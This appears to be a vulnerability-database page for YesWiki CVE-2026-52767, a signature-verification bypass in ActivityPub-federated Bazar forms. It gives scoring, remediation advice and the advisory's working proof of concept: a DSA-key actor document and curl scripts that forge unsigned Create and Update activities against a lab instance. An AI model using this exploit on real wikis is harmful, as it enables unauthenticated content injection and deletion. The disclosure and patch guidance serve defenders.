Skip to main content

YesWiki CVE-2026-52767

HIGH
Improper Verification of Cryptographic Signature (CWE-347)
2026-07-09 https://github.com/YesWiki/yeswiki GHSA-mv28-wj57-f57g
8.2
CVSS 3.1 · Vendor: https://github.com/YesWiki/yeswiki
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Host attacker-controlled DSA-key actor doc
  2. Delivery
    POST forged Create activity to form inbox
  3. Exploit
    YesWiki fetches key, openssl_verify returns -1
  4. Execution
    Loose check skips signature exception
  5. Persist
    processActivity runs EntryManager CRUD
  6. Impact
    Create/Update/Delete Bazar entries unauthenticated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A04:2025 - Cryptographic Failures
ASVS 5.0
V11 - Cryptography Signature verification
Exploitation Conditions

Requires the target Bazar form to have ActivityPub federation enabled (that is the deployment prerequisite - without a federated form the vulnerable inbox endpoint /?api/forms/{id}/actor/inbox is not reachable), and the server must run a PHP+OpenSSL stack where openssl_verify() returns -1 on a key/algorithm mismatch (confirmed on PHP 8.3 + OpenSSL 3.x as shipped in YesWiki's Docker image). No authentication, session, CSRF token, or valid signature is needed (CVSS PR:N/UI:N confirmed unauthenticated). The only per-request work is computing a correct SHA-256 Digest header of the attacker-chosen body, which is enforced but trivial to satisfy. Limiting factors: non-default federation configuration and the specific OpenSSL error-return behavior; on stacks where the mismatch yields false instead of -1 the throw fires correctly and the DSA path is the reliable trigger.

Impact

The supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L, base 8.2) is internally consistent with the described attack: a single unauthenticated network POST with no user interaction yields high integrity impact (content injection/rewrite) and partial availability impact (federated entry deletion), with no confidentiality loss. A functional PoC is documented in the advisory, so 'publicly available exploit code exists.' No EPSS score and no SSVC decision data were provided, and the CVE is not listed in CISA KEV, so 'no public exploit identified' does not apply but active exploitation is unconfirmed. The one signal that tempers raw severity is a deployment prerequisite the CVSS vector does not capture: ActivityPub federation must be enabled on a Bazar form, which is not YesWiki's default posture - so real-world exposure is narrower than PR:N/AC:L alone suggests. Net: a genuine priority for any internet-facing YesWiki running federated Agenda/Blog forms, and lower urgency for non-federated installs.

Exploit ScenarioDerived

An attacker stands up a web server returning a JSON ActivityPub actor document whose publicKeyPem is a DSA public key, then sends an unauthenticated POST to /?api/forms/{id}/actor/inbox with a Create activity, a matching SHA-256 Digest header, and a junk signature declaring algorithm="RSA-SHA256". YesWiki fetches the actor, calls openssl_verify() which returns -1, skips the exception, and runs processActivity() to create the attacker's entry; the attacker then replays Update or Delete activities against the same object.id to rewrite or erase content. A working PoC (publicly available exploit code exists) covering create, update, and delete against a v4.6.5 lab is provided in the advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 09, 2026

Signature-verification bypass in YesWiki (v4.6.5 and earlier, ActivityPub-federated Bazar forms) lets an unauthenticated remote attacker forge a valid ActivityPub actor and have Create/Update/Delete activities processed as if properly signed. The flaw stems from HttpSignatureService::verifySignature() using a loose boolean check (!openssl_verify(...)) that treats openssl_verify()'s -1 internal-error return as success. A detailed proof-of-concept exists (publicly available exploit code exists) demonstrating full CRUD on Bazar entries; the issue is not in CISA KEV and no EPSS score was provided.

RemediationAI

Apply the vendor's fix: upstream patch available (commit d1795e0301e1a1078f17b4b98f56fff70de2029e, https://github.com/YesWiki/yeswiki/commit/d1795e0301e1a1078f17b4b98f56fff70de2029e); a released patched version tag was not independently confirmed from the provided data, so upgrade to the first tagged YesWiki release that includes this commit and consult advisory GHSA-mv28-wj57-f57g for the exact version. The correct code change is a strict comparison (openssl_verify(...) === 1 for success, treating 0, -1, and false all as failure). Until patched, the highest-value compensating control is to disable ActivityPub federation on all Bazar forms, which fully removes the vulnerable inbox path at the cost of losing federation; if federation must stay, restrict access to the /?api/forms/{id}/actor/inbox endpoint at the reverse proxy or WAF to known federation peers (side effect: blocks legitimate new peers), and block outbound SSRF-style actor fetches to internal/loopback addresses since the same flow performs an attacker-directed server-side fetch (see the sibling SSRF advisory).

Affected Packages

composer yeswiki/yeswiki fix: 4.6.6

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability lives in tools/bazar/services/HttpSignatureService.php (line 130), part of YesWiki's ActivityPub/Bazar federation stack (a PHP application typically shipped via the vendor Docker image on php:8.3-apache with OpenSSL 3.x). PHP's openssl_verify() has four return states: 1 (valid), 0 (invalid), -1 (the underlying EVP_VerifyFinal() call errored), and false (argument rejected). Because -1 is truthy in PHP, !(-1) evaluates to false, so the 'Signature verification failed' exception is skipped and control falls through to processActivity(). This is a textbook CWE-347 (Improper Verification of Cryptographic Signature): the code conflates 'verification errored' with 'verification succeeded.' The practical trigger is supplying a DSA/EC public key while claiming an RSA-only algorithm (algorithm="RSA-SHA256"), which makes OpenSSL return -1 rather than 0; an older-PHP/OpenSSL path where unrecognized digest names returned -1 is also noted. The affected package is identified by CPE pkg:composer/yeswiki_yeswiki.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/YesWiki/yeswiki) PRIMARY 8.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
vuln.today AI 8.2 HIGH

Unauthenticated network POST with no user interaction (AV:N/AC:L/PR:N/UI:N) yields entry create/rewrite (I:H) and federated content deletion (A:L); no data disclosure (C:N).

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/YesWiki/yeswiki).

CVSS VectorVendor: https://github.com/YesWiki/yeswiki

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

DescriptionCVE.org

Summary

HttpSignatureService::verifySignature() checks the result of PHP's openssl_verify() with a loose boolean negation - if (!openssl_verify(...)) { throw ... }. PHP's openssl_verify has four possible return values:

returnmeaning!return
1signature is validfalse
0signature is invalidtrue ✓
-1the verify call itself failed (internal error)false ❌
falseinput rejected by PHP's argument validationtrue ✓

The -1 row is the bypass: PHP's truthiness rules make -1 a truthy value, so !(-1) === false, the throw is skipped, and the controller proceeds to processActivity(). Any condition that makes OpenSSL's EVP_VerifyFinal() return -1 triggers the bypass.

The two practical paths to -1 we are aware of:

  1. DSA / EC public key with an RSA-only algorithm. openssl_verify(..., $dsaKey, "RSA-SHA256") returns int(-1) on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodified php:8.3-apache lab and against any deployment using the runtime stack YesWiki's own docker image ships.
  2. Older PHP + older OpenSSL where any unrecognised digest name returned -1 rather than false. The reporting research mentions this path; on current stacks false is returned instead and the throw fires correctly. The DSA path replaces it.

The reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker's payload.

Details

Affected component

  • File: tools/bazar/services/HttpSignatureService.php
  • Method: HttpSignatureService::verifySignature(Request $request)
  • Sink: line 130
php
// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD)
public function verifySignature(Request $request) {
    ...                                                          // [Signature parse,
                                                                 //  outbound key fetch - see the SSRF advisory]
    $actorPublicKey = openssl_get_publickey($actor['publicKey']['publicKeyPem']);
    ...
    if (!openssl_verify(                                         // (a) LOOSE BOOLEAN CHECK
            join("\n", $sigParts),
            base64_decode($sigConf['signature']),
            $actorPublicKey,
            strtoupper($sigConf['algorithm'])
    )) {
        throw new Exception('Signature verification failed');    // (b) skipped when openssl_verify == -1
    }

    if ($request->headers->get('Digest') !== $this->getDigest($request->getContent())) {
        throw new Exception('Digest mismatch');                  // (c) still enforced - easy to satisfy
    }
}

The inbox controller calls verifySignature() and then runs processActivity($activity, $form), which is what actually mutates state.

End-to-end attack chain

A single unauthenticated POST per operation. No session, no CSRF, no real signature.

  1. Stand up an actor document that the attacker controls - any public web server (or webhook receiver) that returns a JSON body with the shape:
json
    {
      "id": "<exact URL the server will GET>",
      "publicKey": {
        "id": "<same URL>",
        "publicKeyPem": "<DSA public key in PEM form>"
      }
    }
  1. Send a Create / Update / Delete activity to POST /api/forms/{enabled-form-id}/actor/inbox:
http
    POST /?api/forms/2/actor/inbox HTTP/1.1
    Host: target.example
    Content-Type: application/activity+json
    Date: <RFC1123 date>
    Digest: SHA-256=<base64(sha256(body))>
    Signature: keyId="<actor URL>",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="

    {"@context":"https://www.w3.org/ns/activitystreams","type":"Create",
     "actor":"<actor URL>",
     "object":{"id":"<unique object URI>","type":"Event","name":"...","startTime":"..."}}
  1. YesWiki fetches the actor document (line 96 - the SSRF; see sibling advisory), parses it, calls openssl_get_publickey(...) which returns a valid OpenSSL key handle (DSA is parsed successfully), then calls openssl_verify($data, "junk-sig", $dsaKey, "RSA-SHA256"). EVP_VerifyFinal returns -1. The check !openssl_verify(...) evaluates to false and the throw is skipped.
  2. Digest header is enforced, but it's a simple SHA-256= of the body the attacker chose, so satisfying it costs one sha256sum.
  3. processActivity($activity, $form) runs: Create → EntryManager::create(), Update → EntryManager::update(), Delete → EntryManager::delete(). The triple store records the attacker's object.id as the source URL, which is how Update / Delete locate the entry on subsequent calls.

PoC

Pre Reqs

  • Yeswiki v4.6.5 lab image (Setup via podman)
  • ActivityPub enabled on the target form

For the rest of this document:

bash
BASE="http://localhost:8085"
CTR="yeswiki-poc"
KEYID="http://127.0.0.1:9999/actors/attacker"
FORM_ID=2
MARKER="DEMO_$(date +%s)"

PHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that openssl_verify returns -1.

bash
podman exec "$CTR" php -r '
    $pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
    $key = openssl_get_publickey($pem);
    $r   = openssl_verify("hello", "junk", $key, "RSA-SHA256");
    echo "openssl_verify returned: " . var_export($r, true) . "\n";
    echo "!openssl_verify(...)  is: " . var_export(!$r, true) . "\n";
'

Expected output:

openssl_verify returned: -1
!openssl_verify(...)  is: false

Verify the listener is up and serving the DSA-key actor

bash
podman exec "$CTR" cat /tmp/ssrf_listener.pid
podman exec "$CTR" ps -p $(podman exec "$CTR" cat /tmp/ssrf_listener.pid) -o stat=
podman exec "$CTR" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo

Expected output: a PID, S (sleeping/alive), and a JSON document beginning with {"@context":"https://www.w3.org/ns/activitystreams","id":"http://127.0.0.1:9999/actors/attacker", ... and a publicKeyPem field whose value starts with -----BEGIN PUBLIC KEY-----\nMIIB... (the DSA key - note the Bv prefix typical of DSA-key DER, not the Ij of RSA).

Build a JSON Create activity that the Agenda form's reverse-semantic template can map (it expects an Event with name, content, startTime, endTime, location.address.*, etc.):

bash
ACTIVITY='{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "Create",
  "id":   "http://127.0.0.1:9999/activity/c-'"$MARKER"'",
  "actor":"'"$KEYID"'",
  "object": {
    "id":   "http://127.0.0.1:9999/objects/'"$MARKER"'",
    "type": "Event",
    "name": "'"$MARKER"' - created via the signature-verification bypass",
    "content": "openssl_verify returned -1; YesWiki accepted us anyway",
    "startTime": "2026-12-01T10:00:00Z",
    "endTime":   "2026-12-01T12:00:00Z"
  }
}'
# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced
DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'

curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Date: ${DATE}" \
     -H "Digest: ${DIGEST}" \
     -H "Signature: ${SIG}" \
     --data-raw "$ACTIVITY" \
     -w '\n  HTTP %{http_code}\n'

Now, try udating the entry via the same bypass

The triple store records <tag, sourceUrl, object.id> from the Create. An Update activity referencing the same object.id will look that up and rewrite the entry's body.

bash
UPDATE_ACT='{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "Update",
  "id":   "http://127.0.0.1:9999/activity/u-'"$MARKER"'",
  "actor":"'"$KEYID"'",
  "object": {
    "id":   "http://127.0.0.1:9999/objects/'"$MARKER"'",
    "type": "Event",
    "name": "'"$MARKER"'_UPDATED - title was changed by an unauthenticated POST",
    "content": "this row was modified via the SAME bypass",
    "startTime": "2026-12-01T10:00:00Z",
    "endTime":   "2026-12-01T12:00:00Z"
  }
}'
DIGEST="SHA-256=$(printf '%s' "$UPDATE_ACT" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"

curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Date: ${DATE}" \
     -H "Digest: ${DIGEST}" \
     -H "Signature: ${SIG}" \
     --data-raw "$UPDATE_ACT" \
     -w '  HTTP %{http_code}\n'

Expected output: HTTP 200, empty body.

Impact

CRUD on bazar entries of any ActivityPub-enabled form, without authentication:

  • Create - EntryManager::create($form['bn_id_nature'], $entry, false, $object['id']). New row in yeswiki_pages and a triple <tag, sourceUrl, $object['id']> in yeswiki_triples.
  • Update - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content.
  • Delete - same lookup, then EntryManager::delete($tag, true).

Concrete operational impact:

  • Defacement / content injection at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host.
  • Spam / SEO poisoning through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search.
  • Erasure of legitimate federated content - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its object.id discovered, and then deleted by replaying the chain with type=Delete.
  • Triple-store pollution - the yeswiki_triples table grows with attacker-controlled sourceUrl triples that survive entry deletion and can interfere with later federation flows.
  • Reputation / federation poisoning - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.

Executive ViewAI

Why It Matters

YesWiki versions 4.6.5 and earlier with ActivityPub-enabled Bazar forms contain a signature verification bypass that allows unauthenticated remote attackers to forge valid actor identities and modify, create, or delete business data. With publicly available exploit code, any unpatched YesWiki instance accessible to the internet faces immediate risk of unauthorized data manipulation and loss of audit integrity. Organizations operating YesWiki should prioritize patching to prevent data tampering and maintain control over critical business records.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 88% exploitable
Prevalence
Low
niche open-source wiki/CMS, mostly small/French community sites
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

61
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +41
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Affected Products (CPE)CVE.org

pkg:composer/yeswiki_yeswiki

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy